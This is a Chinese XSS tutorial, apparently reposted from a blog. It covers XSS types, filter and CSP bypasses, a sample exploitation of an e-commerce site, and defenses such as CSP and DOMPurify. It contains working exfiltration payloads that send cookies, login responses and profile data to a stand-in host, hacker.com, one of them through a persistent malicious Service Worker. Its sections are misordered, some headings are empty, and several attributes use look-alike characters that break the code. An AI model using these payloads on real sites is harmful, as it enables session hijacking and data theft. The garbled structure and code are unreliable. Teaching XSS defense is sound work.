一、XSS攻击基础概念

1.1 什么是XSS攻击
XSS(Cross-Site Scripting,跨站脚本攻击)是一种将恶意脚本注入到可信网站中的攻击手段。当用户访问被注入恶意代码的页面时,浏览器会执行这些代码,导致:

  • 用户会话被劫持(盗取Cookie)

  • 网页内容被篡改

  • 敏感信息被窃取

  • 恶意软件传播

1.2 为何称为跨站脚本
“跨站”指攻击者利用第三方网站漏洞实施攻击,“脚本”强调攻击载体是JavaScript等脚本语言。与CSRF的区别在于:

  • XSS:利用用户对网站的信任

  • CSRF:利用网站对用户浏览器的信任

1.3 攻击原理核心

二、XSS攻击类型深度解析

2.1 反射型XSS(非持久化)

  • 攻击流程

    1. 攻击者制作恶意URL:http://victim.com/search?q=<script>stealCookie()</script>

    2. 诱导用户点击(通过邮件/即时消息)

    3. 服务器返回包含恶意脚本的搜索结果页

    4. 用户浏览器执行脚本

  • 经典案例

    html

    <!-- 服务端代码(PHP示例) -->
    <div>搜索结果:<?php echo $_GET['q']; ?></div><!-- 恶意URL -->
    http://victim.com/search?q=<script>new Image().src='http://hacker.com/steal?cookie='+document.cookie</script>

2.2 存储型XSS(持久化)

  • 攻击流程

    1. 攻击者在论坛/评论区提交含恶意脚本的内容

    2. 内容存储到数据库

    3. 其他用户访问包含该内容的页面

    4. 恶意脚本自动执行

  • 高危场景

    javascript

    // 用户资料页攻击
    <script>fetch('/change-email', {method: 'POST',body: 'email=hacker@evil.com'})
    </script>

2.3 DOM型XSS

  • 特殊性质:完全不经过服务器,纯客户端漏洞

  • 攻击模型

  • 漏洞代码示例

    html

    <script>// 从URL片段获取参数const token = location.hash.substring(1);document.write("Token: " + token); 
    </script><!-- 恶意URL -->
    http://victim.com#<img src=x οnerrοr=alert(document.cookie)>
  • 三、高级XSS攻击技术

    3.1 绕过过滤的编码技巧

  • HTML实体编码绕过

    javascript

    // 原始:<script>alert(1)</script>
    // 绕过:<scr<script>ipt>alert(1)</script>
  • Unicode混淆

    javascript

    "\u003cscript\u003ealert(1)\u003c/script\u003e"
  • SVG矢量图攻击

    html

    <svg οnlοad="alert(document.domain)"><animate attributeName="x" values="0;100" begin="0s" dur="5s"/>
    </svg>
  • 3.2 基于CSP绕过的攻击

    即使有Content Security Policy保护,仍可能被绕过:

    http

    Content-Security-Policy: script-src 'self' https://cdn.example.com

    攻击方式:

    html

    <!-- 利用JSONP端点 -->
    <script src="https://cdn.example.com/jsonp?callback=alert(1)"></script>

    3.3 Service Worker持久化攻击

    javascript

    // 注册恶意Service Worker
    navigator.serviceWorker.register('hacker-sw.js').then(() => {console.log('SW registered!');
    });// hacker-sw.js内容
    self.addEventListener('fetch', event => {if(event.request.url.includes('login')) {event.respondWith(fetch(event.request).then(res => {const clone = res.clone();clone.text().then(data => {fetch('https://hacker.com/log', { method: 'POST', body: data });});return res;}));}
    });

    四、企业级防御方案

    4.1 输入验证与输出编码

    数据类型过滤规则编码方法
    HTML正文禁用< > & " 'HTML实体编码
    HTML属性严格限制属性字符集[a-zA-Z0-9_-]属性引号包裹+URL编码
    JavaScript变量禁止用户输入直接进入JS执行环境Unicode转义
    CSS值验证color/url等格式CSS转义序列

    4.2 内容安全策略(CSP)最佳实践

    http

    Content-Security-Policy: default-src 'none'; script-src 'self' 'sha256-abc123...' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src 'self'; frame-ancestors 'none'; form-action 'self';upgrade-insecure-requests;

    4.3 深度防御策略

  • Cookie保护

    http

    Set-Cookie: sessionId=123; HttpOnly; Secure; SameSite=Strict
  • XSS防御头

    http

    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
  • 现代浏览器特性

    html

    <!-- 启用Trusted Types API -->
    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
  • Web Components:Shadow DOM可能绕过传统检测

  • WebAssembly:内存操作可能被利用

  • Serverless架构:无服务器环境的XSS防护挑战

  • 6.2 自动化检测工具

    工具名称类型检测能力
    OWASP ZAP动态扫描自动爬取+启发式检测
    XSStrike高级探测上下文分析+绕过检测
    DOM Invader浏览器插件DOM型XSS可视化跟踪
    Burp Suite Pro商业工具全流程漏洞检测

    6.3 安全开发全流程

    五、实战:从漏洞挖掘到防御(电商网站案例)

    5.1 漏洞发现

    测试payload

    javascript

    "><svg/οnlοad=console.log(`XSS:${document.cookie}`)>

    响应分析

    html

    <!-- 返回页面片段 -->
    <div class="product-description">"><svg/οnlοad=console.log(`XSS:${document.cookie}`)>
    </div>

    5.2 漏洞利用

    构造高级攻击链:

    javascript

    fetch('/api/user/profile').then(res => res.json()).then(data => {const pl = new URLSearchParams();pl.append('email', data.email);pl.append('phone', data.phone);fetch('https://hacker.com/exfil', {method: 'POST',body: pl});});

    5.3 修复方案

    Node.js修复代码

    javascript

    // 使用DOMPurify库
    const createDOMPurify = require('dompurify');
    const { JSDOM } = require('jsdom');
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);app.get('/product', (req, res) => {const desc = DOMPurify.sanitize(req.query.description, {ALLOWED_TAGS: ['p', 'br', 'strong'],FORBID_ATTR: ['style', 'onclick']});res.send(`<div class="desc">${desc}</div>`);
    });

    六、前沿研究与扩展阅读

    6.1 Web新特性中的XSS

    研究报告数据:根据Acunetix 2023全球应用安全报告,XSS漏洞占所有Web漏洞的23%,平均修复时间为97天,是渗透测试中最常被利用的漏洞之一。


    附录:XSS速查表

    攻击场景防护方案工具支持
    富文本编辑器严格白名单+CSS过滤DOMPurify/clsanitize
    AJAX数据渲染前端模板引擎自动编码Vue/React/Angular
    URL参数处理URL解码+严格验证URLSearchParams
    Cookie访问HttpOnly+Secure属性Web框架配置
    第三方库漏洞SCA(软件成分分析)工具Snyk/Dependabot

    本指南从基础原理到企业级防护策略,覆盖了XSS攻防的完整知识体系。实际防御需要结合安全编码、自动化测试、运行时防护的多层纵深防御,才能有效应对不断进化的XSS攻击手法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95777.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95777.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/95777.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Leetcode 14 java

今天复习一下以前做过的题目&#xff0c;感觉是忘光了。 160. 相交链表 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 题目数…

用 FreeMarker 动态构造 SQL 实现数据透视分析

在 ERP、BI 等系统中&#xff0c;数据透视分析&#xff08;Pivot Analysis&#xff09;是非常常见的需求&#xff1a;用户希望按任意维度&#xff08;如门店、时间、商品分类等&#xff09;进行分组统计&#xff0c;同时选择不同的指标&#xff08;如 GMV、订单数、客单价等&am…

13.深度学习——Minst手写数字识别

第一部分——起手式 import torch from torchvision import datasets, transforms import torch.nn as nn import torch.nn.functional as F import torch.optim as optimuse_cuda torch.cuda.is_available()if use_cuda:device torch.device("cuda") else: device…

【JAVA高级】实现word转pdf 实现,源码概述。深坑总结

之前的需求做好后,需求,客户突发奇想。要将生成的word转为pdf! 因为不想让下载文档的人改动文档。 【JAVA】实现word添加标签实现系统自动填入字段-CSDN博客 事实上这个需求难度较高,并不是直接转换就行的 word文档当中的很多东西都需要处理 public static byte[] gener…

数据驱动测试提升自动化效率

测试工程师老王盯着满屏重复代码叹气&#xff1a;“改个搜索条件要重写20个脚本&#xff0c;这班加到啥时候是个头&#xff1f;” 隔壁组的小李探过头&#xff1a;“试试数据驱动呗&#xff0c;一套脚本吃遍所有数据&#xff0c;我们组上周测了300个组合都没加班&#xff01;”…

模板引用(Template Refs)全解析2

三、v-for 中的模板引用 当在 v-for 中使用模板引用时,引用的 value 会自动变为一个数组,包含列表中所有元素/组件的引用(需 Vue 3.5+ 版本,旧版需手动处理且顺序不保证)。 1. 基本用法(Vue 3.5+) <script setup> import { ref, useTemplateRef, onMounted } f…

【Linux系统】进程间通信:System V IPC——共享内存

前文中我们介绍了管道——匿名管道和命名管道来实现进程间通信&#xff0c;在介绍怎么进行通信时&#xff0c;我们有提到过不止管道的方式进行通信&#xff0c;还有System V IPC&#xff0c;今天这篇文章我们就来学习一下System V IPC中的共享内存1. 为何引入共享内存&#xff…

[优选算法专题二滑动窗口——最大连续1的个数 III]

题目链接 最大连续1的个数 III 题目描述 题目解析 问题本质 输入&#xff1a;二进制数组nums&#xff08;只包含 0 和 1&#xff09;和整数k操作&#xff1a;最多可以将k个 0 翻转成 1目标&#xff1a;找到翻转后能得到的最长连续 1 的子数组长度 这个问题的核心是要找到一…

C#单元测试(xUnit + Moq + coverlet.collector)

C#单元测试 xUnit Moq coverlet.collector 1.添加库 MlyMathLib 2.编写库函数内容 using System;namespace MlyMathLib {public interface IUserRepo{string GetName(int id);}public class UserService{private readonly IUserRepo _repo;public UserService(IUserRepo repo…

【数据库】Oracle学习笔记整理之五:ORACLE体系结构 - 参数文件与控制文件(Parameter Files Control Files)

Oracle体系结构 - 参数文件与控制文件&#xff08;Parameter Files & Control Files&#xff09; 参数文件与控制文件是Oracle数据库的“双核基石”&#xff1a;参数文件是实例的“启动配置中心”&#xff0c;定义运行环境与规则&#xff1b;控制文件是数据库的“物理元数据…

GDB典型开发场景深度解析

GDB典型开发场景深度解析 以下是开发过程中最常见的GDB使用场景&#xff0c;结合具体实例和调试技巧&#xff0c;帮助开发者高效解决实际问题&#xff1a;一、崩溃分析&#xff08;Core Dump调试&#xff09; 场景&#xff1a;程序突然崩溃&#xff0c;生成了core文件 # 启动调…

存储、硬盘、文件系统、 IO相关常识总结

目录 &#xff08;一&#xff09;存储 &#xff08;1&#xff09;定义 &#xff08;2&#xff09;分类 &#xff08;二&#xff09;硬盘 &#xff08;1&#xff09;容量&#xff08;最主要的参数&#xff09; &#xff08;2&#xff09;转速 &#xff08;3&#xff09;访…

docker安装mongodb及java连接实战

1.docker部署mongodb docker run --name mongodb -d -p 27017:27017 -v /data/mongodbdata:/data/db -e MONGO_INITDB_ROOT_USERNAMEtestmongo -e MONGO_INITDB_ROOT_PASSWORDtest123456 mongodb:4.0.112.项目实战 <dependencies><dependency><groupId>org.m…

Java设计模式之《工厂模式》

目录 1、介绍 1.1、定义 1.2、优缺点 1.3、使用场景 2、实现 2.1、简单工厂模式 2.2、工厂方法模式 2.3、抽象工厂模式 3、小结 前言 在面向对象编程中&#xff0c;创建对象实例最常用的方式就是通过 new 操作符构造一个对象实例&#xff0c;但在某些情况下&#xff0…

【异步】js中异步的实现方式 async await /Promise / Generator

JS的异步相关知识 js里面一共有以下异步的解决方案 传统的回调 省略 。。。。 生成器 Generator 函数是 ES6 提供的一种异步编程解决方案, 语法上&#xff0c;首先可以把它理解成&#xff0c;Generator 函数是一个状态机&#xff0c;封装了多个内部状态。执行 Generator 函数…

JVM字节码文件结构

Class文件结构class文件是二进制文件&#xff0c;这里要介绍的是这个二级制文件的结构。思考&#xff1a;一个java文件编译成class文件&#xff0c;如果要描述一个java文件&#xff0c;需要哪些信息呢&#xff1f;基本信息&#xff1a;类名、父类、实现哪些接口、方法个数、每个…

11.web api 2

5. 操作元素属性 5.1操作元素常用属性 &#xff1a;通过 JS 设置/修改标签元素属性&#xff0c;比如通过 src更换 图片最常见的属性比如&#xff1a; href、title、src 等5.2 操作元素样式属性 &#xff1a;通过 JS 设置/修改标签元素的样式属性。使用 className 有什么好处&a…

java中数组和list的区别是什么?

在Java中&#xff0c;数组&#xff08;Array&#xff09;和List&#xff08;通常指java.util.List接口的实现类&#xff0c;如ArrayList、LinkedList&#xff09;是两种常用的容器&#xff0c;但它们在设计、功能和使用场景上有显著区别。以下从核心特性、使用方式等方面详细对…

Python爬取推特(X)的各种数据

&#x1f31f; Hello&#xff0c;我是蒋星熠Jaxonic&#xff01; &#x1f308; 在浩瀚无垠的技术宇宙中&#xff0c;我是一名执着的星际旅人&#xff0c;用代码绘制探索的轨迹。 &#x1f680; 每一个算法都是我点燃的推进器&#xff0c;每一行代码都是我航行的星图。 &#x…

Oracle数据库文件管理与空间问题解决指南

在Oracle数据库运维中&#xff0c;表空间、数据文件及相关日志文件的管理是保障数据库稳定运行的核心环节。本文将系统梳理表空间与数据文件的调整、关键文件的移动、自动扩展配置&#xff0c;以及常见空间不足错误的排查解决方法&#xff0c;为数据库管理员提供全面参考。 一、…